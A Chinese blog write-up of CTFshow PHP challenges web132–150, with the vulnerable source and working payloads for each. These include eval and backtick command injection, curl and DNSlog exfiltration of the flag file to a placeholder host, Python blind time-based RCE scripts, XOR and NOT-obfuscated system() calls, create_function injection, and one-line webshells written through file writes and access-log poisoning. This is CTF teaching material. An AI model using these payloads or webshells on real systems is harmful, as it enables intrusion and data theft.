CTFSHOW PHP特性篇 (下篇132-150)

ctf刷题 ctfshow【网鼎杯】 纯粹学安全 阅读详情

web132

if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){
    $username = (String)$_GET['username'];
    $password = (String)$_GET['password'];
    $code = (String)$_GET['code'];

    if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){
        
        if($code == 'admin'){
            echo $flag;
        }
        
    }
}

虚假的前端,在网址后面输入/admin进入源码界面

后面还是挺简单的
看个小例子大家就懂了

 if(true && true || false){
        echo 123;
    }

结果是123所以对于题目来说,我们只要保证$username ==="admin",其他的不满足就可以了
payload:username=admin&password=1&code=admin

web133

if($F = @$_GET['F']){
    if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){
        eval(substr($F,0,6));
    }else{
        die("6个字母都还不够呀?!");
    }
}

也是先给大家举个小例子

get传参   F=`$F `;sleep 3
经过substr($F,0,6)截取后 得到  `$F `;
也就是会执行 eval("`$F `;");
我们把原来的$F带进去
eval("``$F `;sleep 3`");
也就是说最终会执行  `   `$F `;sleep 3  ` == shell_exec("`$F `;sleep 3");
前面的命令我们不需要管,但是后面的命令我们可以自由控制。
这样就在服务器上成功执行了 sleep 3
所以 最后就是一道无回显的RCE题目了

无回显我们可以用反弹shell 或者curl外带 或者盲注
这里的话反弹没有成功,但是可以外带。

curl  http://xxx:4567?p=`tac f*`

当然要是没有公网ip的话,bp也可以帮到我们这个忙
payload: curl -X POST -F xx=@flag.php http://xxx
具体使用方法如下
打开bp
在这里插入图片描述
在这里插入图片描述
执行后我们查看bp中的内容
在这里插入图片描述

得到flag

web134

$key1 = 0;
$key2 = 0;
if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) {
    die("nonononono");
}
@parse_str($_SERVER['QUERY_STRING']);
extract($_POST);
if($key1 == '36d' && $key2 == '36d') {
    die(file_get_contents('flag.php'));
}

考察点 :POST数组的覆盖

测试代码

parse_str($_SERVER['QUERY_STRING']);
var_dump($_POST);

然后我们传入 _POST[‘a’]=123
会发现输出的结果为array(1) { ["‘a’"]=> string(3) “123” }
也就是说现在的$_POST[‘a’]存在并且值为123

题目中还有个extract($_POST)
这样的话 $a==123

payload:_POST[key1]=36d&_POST[key2]=36d

web135

在133的基础上增加了curl和其他一些字符的过滤,这时候其实可以通过ping得到flag的

payload:F=`$F `;ping `awk '/flag/' flag.php`.1mlbcw.dnslog.cn

获得dns地址

在这里插入图片描述
不知道为啥在133可以135不可以,没办法,只能再想个其他的命令了
发现没有限制写文件

payload:F=`$F `;nl f*>xxx

然后再去访问url/xxx就可以得到flag了

web136

其实是再135的基础上增加了过滤 ><
但是linux中还可以用tee写文件

ls|tee xxx

我们先来看下当前目录下有啥文件,访问url/xxx发现只有一个index.php
那我们再去看看根目录下有什么文件

ls /|tee xxx

得到 f149_15_h3r3
最后直接打开就可以了

nl  /f149_15_h3r3|tee xxx

web137

class ctfshow
{
    function __wakeup(){
        die("private class");
    }
    static function getFlag(){
        echo file_get_contents("flag.php");
    }
}
call_user_func($_POST['ctfshow']);

没有难度的一道题,考察调用类中的函数

payload:
ctfshow=ctfshow::getflag

拓展

php中 ->与:: 调用类中的成员的区别
->用于动态语境处理某个类的某个实例
::可以调用一个静态的、不依赖于其他初始化的类方法.

也就是说双冒号可以不用实例化类就可以直接调用类中的方法

web138

在上一题的基础上过滤了冒号
这时候就考察我们对call_user_func函数的使用了,call_user_func中不但可以传字符串也可以传数组。
具体使用方法如下

call_user_func(array($classname, 'say_hello'));
这时候会调用 classname中的 say_hello方法
payload:ctfshow[0]=ctfshow&ctfshow[1]=getFlag

web139

在136的基础上限制了写文件的权限,这时候可以考虑用盲打的方式。
猜测文件名

import requests
import time
import string
str=string.ascii_letters+string.digits
result=""
for i in range(1,5):
	key=0
	for j in range(1,15):
		if key==1:
			break
		for n in str:
			payload="if [ `ls /|awk 'NR=={0}'|cut -c {1}` == {2} ];then sleep 3;fi".format(i,j,n)
			#print(payload)
			url="http://877848b4-f5ed-4ec1-bfc1-6f44bf292662.chall.ctf.show?c="+payload
			try:
				requests.get(url,timeout=(2.5,2.5))
			except:
			    result=result+n
			    print(result)
			    break
			if n=='9':
				key=1
	result+=" "

得到flag所在文件 f149_15_h3r3,接着盲注文件内容

import requests
import time
import string
str=string.digits+string.ascii_lowercase+"-"
result=""
key=0
for j in range(1,45):
	print(j)
	if key==1:
		break
	for n in str:
		payload="if [ `cat /f149_15_h3r3|cut -c {0}` == {1} ];then sleep 3;fi".format(j,n)
		#print(payload)
		url="http://877848b4-f5ed-4ec1-bfc1-6f44bf292662.chall.ctf.show?c="+payload
		try:
			requests.get(url,timeout=(2.5,2.5))
		except:
		    result=result+n
		    print(result)
		    break

因为过滤了{}所以会我们就不加{}出来,跑出来flag然后手动添加就可以了。
如果容易出错的话,可以在payload=xxx前面加个time.sleep(0.1)

web140

if(isset($_POST['f1']) && isset($_POST['f2'])){
    $f1 = (String)$_POST['f1'];
    $f2 = (String)$_POST['f2'];
    if(preg_match('/^[a-z0-9]+$/', $f1)){
        if(preg_match('/^[a-z0-9]+$/', $f2)){
            $code = eval("return $f1($f2());");
            if(intval($code) == 'ctfshow'){
                echo file_get_contents("flag.php");
            }
        }
    }
}

在这里插入图片描述
可以看到只要我们让intval($code)为0就可以了
intval会将非数字字符转换为0,也就是说 intval('a')==0 intval('.')==0 intval('/')==0
所以方法就挺多了

md5(phpinfo())
md5(sleep())
md5(md5())
current(localeconv)
sha1(getcwd())     因为/var/www/html md5后开头的数字所以我们改用sha1

还有很多,大家可以自行探索

web141

if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];

    if(is_numeric($v1) && is_numeric($v2)){
        if(preg_match('/^\W+$/', $v3)){
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}

先来看下正则表达式
/^\W+$/ 作用是匹配非数字字母下划线的字符
构造命令还是很简单的,大家可以看下我之前写过的一篇文章随便一种方式都可以构造出命令。我们先放到最后说,现在最主要的任务是return怎么绕过。
大家可以看下下面的示例

eval("return 1;phpinfo();");

会发现是无法执行phpinfo()的,但是php中有个有意思的地方,数字是可以和命令进行一些运算的,例如 1-phpinfo();是可以执行phpinfo()命令的。
这样就好说了。构造出1-phpinfo()-1就可以了,也就是说 v1=1&v2=1&v3=-phpinfo()-。
现在我们的任务就是取构造命令,那我们就用个简单的方式取反来试一下。
运行脚本构造system(‘tac f*’)得到 (~%8c%86%8c%8b%9a%92)(~%8b%9e%9c%df%99%d5)
所以最终payload

v1=1&v3=-(~%8c%86%8c%8b%9a%92)(~%8b%9e%9c%df%99%d5)-&v2=1

web142

payload:v1=0

web143

过滤了加减我们还可以用乘除,过滤了~我们可以用异或构造命令
具体命令构造参考前面写的文章
payload:

v1=1&v3=*("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%0b%01%03%00%06%00"^"%7f%60%60%20%60%2a")*&v2=1

web144

相对上面的几道类似的弱化了些
payload:

v1=1&v3=-&v2=(~%8c%86%8c%8b%9a%92)(~%8b%9e%9c%df%99%d5)

web145

考察点:三目运算符的妙用
小测试

eval("return 1?phpinfo():1;");

这样是可以执行phpinfo()的
所以只需要在前面的payload上稍加改动就可以了
payload:

v1=1&v3=?(~%8c%86%8c%8b%9a%92)(~%8b%9e%9c%df%99%d5):&v2=1

webweb146

又增加了分号的过滤,所以我们没法用三目运算符了,这时候想到了等号和位运算符

eval("return 1==phpinfo()||1;");
payload:
v1=1&v3===(~%8c%86%8c%8b%9a%92)(~%8b%9e%9c%df%99%d5)||&v2=1

web147

if(isset($_POST['ctf'])){
    $ctfshow = $_POST['ctf'];
    if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) {
        $ctfshow('',$_GET['show']);
    }

}

考察点:create_function()代码注入

create_function('$a','echo $a."123"')

类似于

function f($a) {
  echo $a."123";
}

那么如果我们第二个参数传入 echo 1;}phpinfo();//
就等价于

function f($a) {
  echo 1;}phpinfo();//
}
从而执行phpinfo()命令

fuzz后发现%5c可以绕过这个正则表达式,具体原理可以看下这篇文章
这样我们就可以执行任意命令了
payload

get: show=echo 123;}system('tac f*');//
post: ctf=%5ccreate_function

web148

if(isset($_GET['code'])){
    $code=$_GET['code'];
    if(preg_match("/[A-Za-z0-9_\%\\|\~\'\,\.\:\@\&\*\+\- ]+/",$code)){
        die("error");
    }
    @eval($code);
}
else{
    highlight_file(__FILE__);
}

function get_ctfshow_fl0g(){
    echo file_get_contents("flag.php");
}

没有过滤^,所以直接异或构造就可以了。
payload

code=("%08%02%08%09%05%0d"^"%7b%7b%7b%7d%60%60")("%09%01%03%01%06%02"^"%7d%60%60%21%60%28");

后来问了下出题人发现这不是预期解,预期解是利用中文变量
payload

code=$哈="`{{{"^"?<>/";${$哈}[哼](${$哈}[嗯]);&哼=system&嗯=tac f*

其实也是利用异或构造

"`{{{"^"?<>/"; 异或出来的结果是 _GET

web149

$files = scandir('./'); 
foreach($files as $file) {
    if(is_file($file)){
        if ($file !== "index.php") {
            unlink($file);
        }
    }
}

file_put_contents($_GET['ctf'], $_POST['show']);

$files = scandir('./'); 
foreach($files as $file) {
    if(is_file($file)){
        if ($file !== "index.php") {
            unlink($file);
        }
    }
}

非预期,直接往index.php里面写一句话
payload

ctf=index.php
show=<?php eval($_POST[1]);?>

预期解 条件竞争

ctf=1.php
show=<?php system('tac /c*');?>

使用bp不断访问并传参,然后开一个去不断访问 1.php

web150

非预期
日志文件包含写一句话
修改user_agent内容为一句话,然后包含/var/log/nginx/access.log就可以使用我们写的一句话了。
首先访问index.php 修改user_agent为<?php eval($_POST[1]);?>
然后包含日志文件后如下图所示
在这里插入图片描述

预期解暂未做出来,先到这了。我们下篇见。

ctfshow 每周大挑战 极限命令执行 ctfshow 每周大挑战 极限命令执行 wp 阅读详情

相关推荐

CTFshow-pwn入门-前置基础pwn13-pwn19

ctfshow pwn入门-前置基础pwn13-pwn19

你们de4月天的博客 2588

CTFshow-WEB入门-PHP特性(持续更新)

web89 利用intval的这个特性: 非空的数组会返回1,因此利用数组绕过。 web90 两种方式: ?num=4476a ?num=0x117c web91 考察了preg_match的/m模式。 默认的正则开始"^“和结束”$“只是对于正则字符串如果在修饰符中加上"m”,那么开始和结束将会指字符串的每一行:每一行的开头就是"^",结尾就是"$"。 因此?cmd=php%0a1即可 web92 <?php include("flag.php"); highlight_file(__

feng的博客 6848

ctfshow web入门 PHP特性中篇(web105-web132)

目录 web105 web106 web107 web108 web109 web110 web111 web112 web113 web114 web115 web123 web125 web126 web127 web128 web129 web130 web131 web132 web105 <?php ​ /* # -*- coding: utf-8 -*- # @Author: Firebasky # @Date: 2020-09-16 1

ccfly1012的博客 1645

ctfshow(web入门)

第三题 根据提示直接bp抓包 发送到repeater查看响应包 得flag

qq_62553635的博客 2752

ctfshow php特性系列

文章目录web89web90web91web92web93web94web95web96web97web98 web89 <?php include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if(preg_match("/[0-9]/", $num)){ die("no no no!"); } if(intval($num)

xiaolong22333的博客 5281

ctfshow---php特性

使用此管道符“|”可以将两个命令分隔开,“|”左边命令的输出就会作为“|”右边命令的输入,此命令可连续使用,第一个命令的输出会作为第二个命令的输入,第二个命令的输出又会作为第三个命令的输入,依此类推。就是比如get传入a=1第一个foreach的$key就是a,$value就是1,利用die($error) 这里退出会输出$error,所以将flag的值赋值给他就能得到flag,当然第一个if不让,所以我们利用一个跳板。_()==gettext() 是gettext()的拓展函数,开启text扩展。

fainpo的博客 2362

CTFShow web入门123-150 (php特性(二))

CTFSHOW PHP特性篇 web123-150

lonmar的博客 6412

LDPC码译码原理——概率公式推导

怎么说呢,一直以来都想写一下博客。近半年多来我一直在学习LDPC码译码上的东西,主要是在FPGA实现上的,所以这次想写一些关于这方面的内容,包括译码的原理、仿真以及实现。(当然是基于准循环LDPC码上实现的)不过呢,我写这个的初衷是为了让初学者理解入门用的,而不是在大牛面前班门弄斧,有错误之处欢迎大家批评指正。不知道会不会有人一开始像我一样,为了学好LDPC码,先去好好了解其它的诸如RS码或者是卷...

stand_by_me123的博客 2万+

ctfshow web入门118-150wp

前段时间太忙啦,就没有发。但是羽师傅也发了呢 CTFSHOW PHP特性篇(中篇 111-131) CTFSHOW PHP特性篇 (下篇132-150) 我就不写博客啦,还是发pdf吧,需要的可以下载 链接:https://pan.baidu.com/s/1YnkfV5wfCqPFr2HW1MwUEg 提取码:c0gf 复制这段内容后打开百度网盘手机App,操作更方便哦 ...

Firebasky的博客 1244

当NetApp 7-mode遇到单控制器故障:HA模式手动修复全记录

本文详细记录了NetApp 7-mode存储系统在单控制器故障时的应急修复过程,包括HA配置重建、磁盘初始化和业务恢复等关键步骤。通过实战案例解析如何解决`VIA Interconnect is down`等典型问题,为企业级存储系统的高可用保障提供实用指南。

yolo5detector的博客 247

FoundationPose实战:从零部署到Demo运行全记录

本文详细记录了FoundationPose从零部署到Demo运行的全过程,包括Ubuntu环境配置、项目部署、依赖安装及常见问题解决方案。特别针对复现过程中的关键步骤如CUDA版本选择、Eigen3安装等提供了实用技巧,帮助开发者高效完成FoundationPose的部署与调试。

weixin_27102543的博客 269

CTFshow——web入门——php特性(下篇)

web入门——php特性web123web125web126 web123 题目 <?php error_reporting(0); highlight_file(__FILE__); include("flag.php"); $a=$_SERVER['argv']; $c=$_POST['fun']; if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g']))

h_adam的博客 6666

A*(star)算法原理讲解以及程序实现(基于Python)

本文将以迷宫探索最优路径为例,讲解A *搜索算法原理及其程序实现。在原理讲解部分,首先从为什么要使用A *搜索算法和A *搜索算法的全局最优逻辑出发,讲解A *算法的原理。其次对A *的行动函数g(n)和启发函数h(n)的细节进行了讲解说明,并补充了启发函数的选择对于A *算法的影响。在程序实现部分,首先从程序流程框图出发,解释A *算法的流程。其次按函数的类划分并讲解主要代码,接着展示程序的运行结果,最后对A *算法进行总结分析。

m0_73366745的博客 8282

ctfshow php特性 web89-web115 web123-150wp

皮爱吃皮特性

mumuzi的博客 5993

Win10文件夹只读属性自动恢复?彻底解决方法解析

Win10文件夹只读属性自动恢复?彻底解决方法解析在Windows系统使用过程中,文件权限管理常会遇到棘手问题。最近多位用户反馈:取消文件夹只读属性后,系统却自动恢复该设置,导致无法正常复制或修改文件。本文将深入分析该现象的产生原因,并提供多种解决方案,帮助开发者彻底摆脱权限困扰。

mmoo_python的博客 7527

YOLO26改进策略【卷积层】| CVPR 2025 频率动态卷积 FDConv 频域分权重提多样性 + 双调制降冗余,增强特征表征能力

本文记录的是利用FDConv 算子改进 YOLOv11 的卷积层特征提取层。(Frequency Dynamic Convolution)通过傅里叶域权重划分与空间-频率双调制机制结合,实现YOLOv11特征提取中频率多样化的动态卷积与空间自适应的频带调制。本文利用算子,通过傅里叶不相交权重生成频率差异化的并行卷积核以丰富特征表达,再通过核空间调制和频带调制结合局部-全局信息、适配图像空间异构性,同时依托固定参数预算实现轻量化设计,对YOLOv11中目标的低频语义特征与高频细节/边界特征进行针对性增强、抑制

Limiiiing的博客 476

CTFshow web入门——php特性

Web 89 <?php include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if(preg_match("/[0-9]/", $num)){ die("no no no!"); } if(intval($num)){ echo $flag; } }

小元砸的博客 7861

Open3D (C++) 泊松重建【2025最新版】

使用C++版本的Open3D实现点云的泊松重建

点云侠的博客 3077

ctfshow——PHP特性

另外,intval()函数如果$base为0,则$var中存在字母的话遇到字母就停止读取,传入4476a会将后面的a丢弃,比较前面的.

qq_55202378的博客 1709

[UVM]UVM TLM2.0简介及应用实例分析

本文介绍了TLM2.0在UVM中的实现与应用。TLM2.0作为SystemC模型间的核心传输机制,相比TLM1.0提供了更丰富的特性,包括双向阻塞/非阻塞接口、时间标记和统一数据包。文章详细解析了TLM2.0在UVM中的接口实现方式,包括socket类型定义、数据传输机制以及时间标记处理。通过一个具体实例,展示了如何在UVM组件中使用TLM2.0的initiator和target socket进行数据传输,并说明了标准数据包格式和精确时间标记的优势。最后指出TLM2.0在UVM中的实现主要是为了与Syste

元直的博客 5398

C# WinForm 基于DirectShow.dll编写的程序,可边预览边保存视频,音频和图片

基于微软的DirectShow.dll的二次开发1.自动识别连接的摄像头跟麦克风且可以对其进行选择(默认选中第一个)2.可录制wmv和avi两种格式的视频并且都带有音频,avi可以录制的分辨率和帧数进行选择,wmv默认进行了淸晰度优化如不喜欢可去除代码中有相关提示3.可在预览点开之后进行拍照,也可边录制视频边拍照4.添加了视频和音频的压缩功能(酌情使用)这次二次开发发现C#对DirectShow的相关信息太少,这次做完也不敢藏私共享出来,还望大家指正

CTFshow web(php特性129-132)

readfile() 函数输出一个文件。该函数读入一个文件并写入到输出缓冲。若成功,则返回从文件中读入的字节数。若失败,则返回 false。您可以通过 @readfile() 形式调用该函数,来隐藏错误信息。

csjjjd的博客 1387

ET2012新版免狗免安装绿色软件

ET2012新版免狗免安祖昂绿色软件。,新界面,新视觉,

【Web】CTFSHOW PHP特性刷题记录(全)

知其然知其所以然,尽量把每种特性都详细讲明白。

uuzeray的博客 1988

jdk-8u144-linux-x64.tar.gz.

该资源为搭建Linux系统Java环境用,资源的后缀为tar.gz格式的压缩包

蓝牙模块HM-10手册

蓝牙模块HM-10手册,该手册对蓝牙模块HM-10进行了详细的介绍和使用方法以及一些AT指令。

ctfshow php特性 web 89~150plus

目录web 92web 93web 94web 95web 96web 97web 98web 99web 100web 101web 102web 103web 104 web 92 num=0x117c intval($num,$base=0) //当base为0时,会自动检测num的进制 //例如:0x117c(16进制) == 4476(十进制) == 010574(8进制) web 93 在这里插入代码片 web 94 web 95 web 96 web 97 web 98 web 99 w

shinygod的博客 933

ctf show-web入门 php特性篇部分题解

ctfshowphp特性preg_match()intval()web96(路径问题)web98web99(in_array弱类型比较)in_array()web100var_dump()函数web101web102-103hex2bin()函数substr() 函数call_user_func()函数web104、106web105(双$$变量覆盖)web107(parse_str变量覆盖)parse_str()Parse_str()函数引起的变量覆盖漏洞web108(%00截断)ereg()函数strr

volcano的博客 9055

CTFshow web入门 php特性web131-150

先进性$code === mt_rand(1,0x36D) && $password === $flag判断,然后进行||判断。ctfshow[1]=getFlag:数组的第二个元素是字符串 "getFlag",表示类的静态方法名。代码的作用是将$F的钱6个字母截断,然后执行,6个字母肯定不够的,现有扩容的话就得传入参数本身。ctfshow[0]=ctfshow:数组的第一个元素是字符串 "ctfshow",表示类名。我们用数组绕过strripos,因为是数组,所以会返回null,通过pandun。

potatojiang的博客 948

ctfshow php特性 下

web113 function filter($file){ if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){ die('hacker!'); }else{ return $file; } } $file=$_GET['file']; if(! is_file($file)){ highlight_file(filter($f

weixin_63231007的博客 1819
上一篇: CTFSHOW PHP特性篇(中篇 111-131)
下一篇: CTFSHOW文件上传篇
yu22x
博客等级 码龄7年 3740粉丝 121原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

yu22x

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值